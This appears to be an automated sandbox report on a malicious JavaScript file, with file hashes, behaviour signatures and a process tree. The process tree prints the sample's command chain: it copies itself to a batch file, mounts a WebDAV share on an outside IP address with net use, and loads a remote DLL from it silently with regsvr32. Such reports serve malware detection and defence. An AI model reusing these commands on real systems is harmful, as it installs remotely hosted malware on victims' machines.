Analysis

  • max time kernel
    119s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    09/07/2024, 03:41

General

  • Target

    983219531850416586.js

  • Size

    5KB

  • MD5

    6954aee6f19b67ee5ac67d962166c496

  • SHA1

    1728c0a5a2abce12ebae8f6740e0e9d07fc5be1b

  • SHA256

    5868cba1db313aa8470cb32b98a3fb5991001ec4c62a3928ff2126ea828cb9a2

  • SHA512

    2380532022cfc86fb8d6347fc2bd319329c71999dca9b8f0e782cad95e3ecfe8340c69d875492bf2ad9b021f9d0eb7ea458fd01984e9e587592d399172d2fcad

  • SSDEEP

    96:ZeqLBoCKc5dFpM/QGFpFnWPJ3R1NZwJYm8I9OXGFtyXps9cxGsG+22cxcJTcqcYy:ZeeoC/zpcQ+pFnKd3wJY/uXyZKcxc+d+

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\983219531850416586.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\983219531850416586.js" "C:\Users\Admin\\avlicd.bat" && "C:\Users\Admin\\avlicd.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2664
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:2508
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\39.dll
          3⤵
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          PID:2496

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\avlicd.bat

            Filesize

            5KB

            MD5

            6954aee6f19b67ee5ac67d962166c496

            SHA1

            1728c0a5a2abce12ebae8f6740e0e9d07fc5be1b

            SHA256

            5868cba1db313aa8470cb32b98a3fb5991001ec4c62a3928ff2126ea828cb9a2

            SHA512

            2380532022cfc86fb8d6347fc2bd319329c71999dca9b8f0e782cad95e3ecfe8340c69d875492bf2ad9b021f9d0eb7ea458fd01984e9e587592d399172d2fcad